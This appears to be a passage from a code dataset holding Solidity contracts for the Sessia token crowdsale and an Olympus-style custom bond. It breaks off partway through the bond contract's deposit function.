file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract MultiOwners { event AccessGrant(address indexed owner); event AccessRevoke(address indexed owner); mapping(address => bool) owners; address public publisher; function MultiOwners() { owners[msg.sender] = true; publisher = msg.sender; } modifier onlyOwner() { require(owners[msg.sender] == true); _; } function isOwner() constant returns (bool) { return owners[msg.sender] ? true : false; } function checkOwner(address maybe_owner) constant returns (bool) { return owners[maybe_owner] ? true : false; } function grant(address _owner) onlyOwner { owners[_owner] = true; AccessGrant(_owner); } function revoke(address _owner) onlyOwner { require(_owner != publisher); require(msg.sender != _owner); owners[_owner] = false; AccessRevoke(_owner); } } contract Haltable is MultiOwners { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier onlyInEmergency { require(halted); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract StagePercentageStep is MultiOwners { using SafeMath for uint256; string public name; uint256 public tokenPriceInETH; uint256 public mintCapInETH; uint256 public mintCapInUSD; uint256 public mintCapInTokens; uint256 public hardCapInTokens; uint256 public totalWei; uint256 public bonusAvailable; uint256 public bonusTotalSupply; struct Round { uint256 windowInTokens; uint256 windowInETH; uint256 accInETH; uint256 accInTokens; uint256 nextAccInETH; uint256 nextAccInTokens; uint256 discount; uint256 priceInETH; uint256 weightPercentage; } Round[] public rounds; function StagePercentageStep(string _name) { name = _name; } function totalEther() public constant returns(uint256) { return totalWei.div(1e18); } function registerRound(uint256 priceDiscount, uint256 weightPercentage) internal { uint256 windowInETH; uint256 windowInTokens; uint256 accInETH = 0; uint256 accInTokens = 0; uint256 priceInETH; priceInETH = tokenPriceInETH.mul(100-priceDiscount).div(100); windowInETH = mintCapInETH.mul(weightPercentage).div(100); windowInTokens = windowInETH.mul(1e18).div(priceInETH); if(rounds.length > 0) { accInTokens = accInTokens.add(rounds[rounds.length-1].nextAccInTokens); accInETH = accInETH.add(rounds[rounds.length-1].nextAccInETH); } rounds.push(Round({ windowInETH: windowInETH, windowInTokens: windowInTokens, accInETH: accInETH, accInTokens: accInTokens, nextAccInETH: accInETH + windowInETH, nextAccInTokens: accInTokens + windowInTokens, weightPercentage: weightPercentage, discount: priceDiscount, priceInETH: priceInETH })); mintCapInTokens = mintCapInTokens.add(windowInTokens); hardCapInTokens = mintCapInTokens.mul(120).div(100); } /* * @dev calculate amount * @param _value ether to be converted to tokens * @param _totalEthers total received ETH * @return tokens amount that we should send to our dear investor * @return odd ethers amount, which contract should send back */ function calcAmount( uint256 _amount, uint256 _totalEthers ) public constant returns (uint256 estimate, uint256 amount) { Round memory round; uint256 totalEthers = _totalEthers; amount = _amount; for(uint256 i; i<rounds.length; i++) { round = rounds[i]; if(!(totalEthers >= round.accInETH && totalEthers < round.nextAccInETH)) { continue; } if(totalEthers.add(amount) < round.nextAccInETH) { return (estimate + amount.mul(1e18).div(round.priceInETH), 0); } amount = amount.sub(round.nextAccInETH.sub(totalEthers)); estimate = estimate + ( round.nextAccInETH.sub(totalEthers).mul(1e18).div(round.priceInETH) ); totalEthers = round.nextAccInETH; } return (estimate, amount); } } contract SessiaCrowdsale is StagePercentageStep, Haltable { using SafeMath for uint256; // min wei per tx uint256 public ethPriceInUSD = 680e2; // 460 USD per one ETH uint256 public minimalUSD = 680e2; // minimal sale 500 USD uint256 public minimalWei = minimalUSD.mul(1e18).div(ethPriceInUSD); // 1.087 ETH // Token SessiaToken public token; // Withdraw wallet address public wallet; // period uint256 public startTime; uint256 public endTime; // address public bonusMintingAgent; event ETokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event ETransferOddEther(address indexed beneficiary, uint256 value); event ESetBonusMintingAgent(address agent); event ESetStartTime(uint256 new_startTime); event ESetEndTime(uint256 new_endTime); event EManualMinting(address indexed beneficiary, uint256 value, uint256 amount); event EBonusMinting(address indexed beneficiary, uint256 value); modifier validPurchase() { bool nonZeroPurchase = msg.value != 0; require(withinPeriod() && nonZeroPurchase); _; } function SessiaCrowdsale( uint256 _startTime, // 1526482800 05/16/2018 @ 3:00pm (UTC) uint256 _endTime, // 1537110000 09/16/2018 @ 3:00pm (UTC) address _wallet, // 0x62926204Fb0f6B01D9530C0d2AcCe194b07dEfA8 address _bonusMintingAgent ) public StagePercentageStep("Pre-ITO") { require(_startTime >= 0); require(_endTime > _startTime); token = new SessiaToken(); token.grant(_bonusMintingAgent); token.grant(_wallet); bonusMintingAgent = _bonusMintingAgent; wallet = _wallet; startTime = _startTime; endTime = _endTime; tokenPriceInETH = 1e15; // 0.001 ETH mintCapInUSD = 3000000e2; // 3.000.000 USD * 100 cents mintCapInETH = mintCapInUSD.mul(1e18).div(ethPriceInUSD); registerRound({priceDiscount: 30, weightPercentage: 10}); registerRound({priceDiscount: 20, weightPercentage: 20}); registerRound({priceDiscount: 10, weightPercentage: 30}); registerRound({priceDiscount: 0, weightPercentage: 40}); require(bonusMintingAgent != 0); require(wallet != 0x0); } function withinPeriod() constant public returns (bool) { return (now >= startTime && now <= endTime); } // @return false if crowdsale event was ended function running() constant public returns (bool) { return withinPeriod() && !token.mintingFinished(); } /* * @dev change agent for bonus minting * @praram agent new agent address */ function setBonusMintingAgent(address agent) public onlyOwner { require(agent != address(this)); token.revoke(bonusMintingAgent); token.grant(agent); bonusMintingAgent = agent; ESetBonusMintingAgent(agent); } // @return current stage name function stageName() constant public returns (string) { bool beforePeriod = (now < startTime); if(beforePeriod) { return "Not started"; } if(withinPeriod()) { return name; } return "Finished"; } /* * @dev fallback for processing ether */ function() public payable { return buyTokens(msg.sender); } /* * @dev set start date * @param _at — new start date */ function setStartTime(uint256 _at) public onlyOwner { require(block.timestamp < _at); // should be great than current block timestamp require(_at < endTime); startTime = _at; ESetStartTime(_at); } /* * @dev set end date * @param _at — new end date */ function setEndTime(uint256 _at) public onlyOwner { require(startTime < _at); // should be great than current block timestamp endTime = _at; ESetEndTime(_at); } /* * @dev Large Token Holder minting * @param to - mint to address * @param amount - how much mint */ function bonusMinting(address to, uint256 amount) stopInEmergency public { require(msg.sender == bonusMintingAgent || isOwner()); require(amount <= bonusAvailable); require(token.totalSupply() + amount <= hardCapInTokens); bonusTotalSupply = bonusTotalSupply.add(amount); bonusAvailable = bonusAvailable.sub(amount); EBonusMinting(to, amount); token.mint(to, amount); } /* * @dev sell token and send to contributor address * @param contributor address */ function buyTokens(address contributor) payable stopInEmergency validPurchase public { require(contributor != 0x0); require(msg.value >= minimalWei); uint256 amount; uint256 odd_ethers; uint256 ethers; (amount, odd_ethers) = calcAmount(msg.value, totalWei); require(amount + token.totalSupply() + bonusAvailable <= hardCapInTokens); ethers = (msg.value.sub(odd_ethers)); token.mint(contributor, amount); // fail if minting is finished ETokenPurchase(contributor, ethers, amount); totalWei = totalWei.add(ethers); if(odd_ethers > 0) { require(odd_ethers < msg.value); ETransferOddEther(contributor, odd_ethers); contributor.transfer(odd_ethers); } bonusAvailable = bonusAvailable.add(amount.mul(20).div(100)); wallet.transfer(ethers); } /* * @dev manual tokens issuing * @param contributor address, etheres */ function manualMinting(address contributor, uint256 value) onlyOwner stopInEmergency public { require(withinPeriod()); require(contributor != 0x0); require(value >= minimalWei); uint256 amount; uint256 odd_ethers; uint256 ethers; (amount, odd_ethers) = calcAmount(value, totalWei); require(amount + token.totalSupply() + bonusAvailable <= hardCapInTokens); ethers = value.sub(odd_ethers); token.mint(contributor, amount); // fail if minting is finished EManualMinting(contributor, amount, ethers); totalWei = totalWei.add(ethers); bonusAvailable = bonusAvailable.add(amount.mul(20).div(100)); } function finishCrowdsale() onlyOwner public { require(block.timestamp > endTime || (mintCapInETH - totalWei) <= 1e18); require(!token.mintingFinished()); if(bonusAvailable > 0) { bonusMinting(wallet, bonusAvailable); } token.finishMinting(); } } contract SessiaToken is MintableToken, MultiOwners { string public constant name = "Sessia Kickers"; string public constant symbol = "PRE-KICK"; uint8 public constant decimals = 18; function transferFrom(address from, address to, uint256 value) public returns (bool) { if(!isOwner()) { revert(); } return super.transferFrom(from, to, value); } function transfer(address to, uint256 value) public returns (bool) { if(!isOwner()) { revert(); } return super.transfer(to, value); } function grant(address _owner) public { require(publisher == msg.sender); return super.grant(_owner); } function revoke(address _owner) public { require(publisher == msg.sender); return super.revoke(_owner); } function mint(address _to, uint256 _amount) public returns (bool) { require(publisher == msg.sender); return super.mint(_to, _amount); } }
calculate amount _value ether to be converted to tokens _totalEthers total received ETH return tokens amount that we should send to our dear investor return odd ethers amount, which contract should send back/
function calcAmount( uint256 _amount, uint256 _totalEthers ) public constant returns (uint256 estimate, uint256 amount) { Round memory round; uint256 totalEthers = _totalEthers; amount = _amount; for(uint256 i; i<rounds.length; i++) { round = rounds[i]; if(!(totalEthers >= round.accInETH && totalEthers < round.nextAccInETH)) { continue; } if(totalEthers.add(amount) < round.nextAccInETH) { return (estimate + amount.mul(1e18).div(round.priceInETH), 0); } amount = amount.sub(round.nextAccInETH.sub(totalEthers)); estimate = estimate + ( round.nextAccInETH.sub(totalEthers).mul(1e18).div(round.priceInETH) ); totalEthers = round.nextAccInETH; } return (estimate, amount); }
6,440,706
// File contracts/libraries/SafeMath.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // File contracts/libraries/Address.sol pragma solidity 0.7.5; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } // File contracts/interfaces/IERC20.sol pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/libraries/SafeERC20.sol pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/libraries/FullMath.sol pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // File contracts/libraries/FixedPoint.sol pragma solidity 0.7.5; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // File contracts/types/Ownable.sol pragma solidity 0.7.5; contract Ownable { address public policy; constructor () { policy = msg.sender; } modifier onlyPolicy() { require( policy == msg.sender, "Ownable: caller is not the owner" ); _; } function transferManagment(address _newOwner) external onlyPolicy() { require( _newOwner != address(0) ); policy = _newOwner; } } // File contracts/Bankless/CustomBond.sol pragma solidity 0.7.5; interface ITreasury { function deposit(address _principleTokenAddress, uint _amountPrincipleToken, uint _amountPayoutToken) external; function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ ); function payoutToken() external view returns (address); } contract CustomBANKBond is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint payout, uint expires ); event BondRedeemed( address recipient, uint payout, uint remaining ); event BondPriceChanged( uint internalPrice, uint debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ IERC20 immutable payoutToken; // token paid for principal IERC20 immutable principalToken; // inflow token ITreasury immutable customTreasury; // pays for and receives principal address immutable olympusDAO; address olympusTreasury; // receives fee address immutable subsidyRouter; // pays subsidy in OHM to custom treasury uint public totalPrincipalBonded; uint public totalPayoutGiven; uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay uint payoutSinceLastSubsidy; // principal accrued since subsidy paid Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data FeeTiers[] private feeTiers; // stores fee tiers bool immutable private feeInPayout; mapping( address => Bond ) public bondInfo; // stores bond information for depositors /* ======== STRUCTS ======== */ struct FeeTiers { uint tierCeilings; // principal bonded till next tier uint fees; // in ten-thousandths (i.e. 33300 = 3.33%) } // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principal value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // payout token remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4 } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== CONSTRUCTOR ======== */ constructor( address _customTreasury, address _principalToken, address _olympusTreasury, address _subsidyRouter, address _initialOwner, address _olympusDAO, uint[] memory _tierCeilings, uint[] memory _fees, bool _feeInPayout ) { require( _customTreasury != address(0) ); customTreasury = ITreasury( _customTreasury ); payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() ); require( _principalToken != address(0) ); principalToken = IERC20( _principalToken ); require( _olympusTreasury != address(0) ); olympusTreasury = _olympusTreasury; require( _subsidyRouter != address(0) ); subsidyRouter = _subsidyRouter; require( _initialOwner != address(0) ); policy = _initialOwner; require( _olympusDAO != address(0) ); olympusDAO = _olympusDAO; require(_tierCeilings.length == _fees.length, "tier length and fee length not the same"); for(uint i; i < _tierCeilings.length; i++) { feeTiers.push( FeeTiers({ tierCeilings: _tierCeilings[i], fees: _fees[i] })); } feeInPayout = _feeInPayout; } /* ======== INITIALIZATION ======== */ /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBond( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( currentDebt() == 0, "Debt must be 0 for initialization" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 10000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice change address of Olympus Treasury * @param _olympusTreasury uint */ function changeOlympusTreasury(address _olympusTreasury) external { require( msg.sender == olympusDAO, "Only Olympus DAO" ); olympusTreasury = _olympusTreasury; } /** * @notice subsidy controller checks payouts since last subsidy and resets counter * @return payoutSinceLastSubsidy_ uint */ function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) { require( msg.sender == subsidyRouter, "Only subsidy controller" ); payoutSinceLastSubsidy_ = payoutSinceLastSubsidy; payoutSinceLastSubsidy = 0; } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint nativePrice = trueBondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = customTreasury.valueOfToken( address(principalToken), _amount ); uint payout; uint fee; if(feeInPayout) { (payout, fee) = payoutFor( value ); // payout to bonder is computed } else { (payout, fee) = payoutFor( _amount ); // payout to bonder is computed _amount = 